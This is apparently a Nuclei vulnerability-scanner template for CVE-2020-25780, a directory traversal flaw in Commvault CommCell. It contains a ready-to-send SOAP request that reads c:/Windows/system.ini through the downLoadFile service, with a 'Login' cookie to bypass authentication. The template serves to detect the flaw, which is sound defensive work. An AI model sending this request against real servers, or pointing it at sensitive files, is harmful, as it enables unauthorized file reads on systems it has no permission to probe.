id: CVE-2020-25780

info:
  name: Commvault CommCell Directory Traversal
  author: pdteam
  severity: high
  description: In CommCell in Commvault before 14.68, 15.x before 15.58, 16.x before 16.44, 17.x before 17.29, and 18.x before 18.13, Directory Traversal can occur such that an attempt to view a log file can instead
    view a file outside of the log-files folder.
  reference:
    - https://nvd.nist.gov/vuln/detail/CVE-2020-25780
    - https://srcincite.io/blog/2021/11/22/unlocking-the-vault.html
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2020-25780
    cwe-id: CWE-22
  tags: cve,cve2020,commvault,lfi

requests:
  - method: POST
    path:
      - "http://{{Host}}:81/SearchSvc/CVSearchService.svc"

    headers:
      Cookie: Login
      soapaction: http://tempuri.org/ICVSearchSvc/downLoadFile
      content-type: text/xml

    body: |
        <soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:tem="http://tempuri.org/">
           <soapenv:Header/>
           <soapenv:Body>
              <tem:downLoadFile>
                 <tem:path>c:/Windows/system.ini</tem:path>
              </tem:downLoadFile>
           </soapenv:Body>
        </soapenv:Envelope>

    matchers-condition: and
    matchers:
      - type: word
        words:
          - "downLoadFileResult"

      - type: status
        status:
          - 200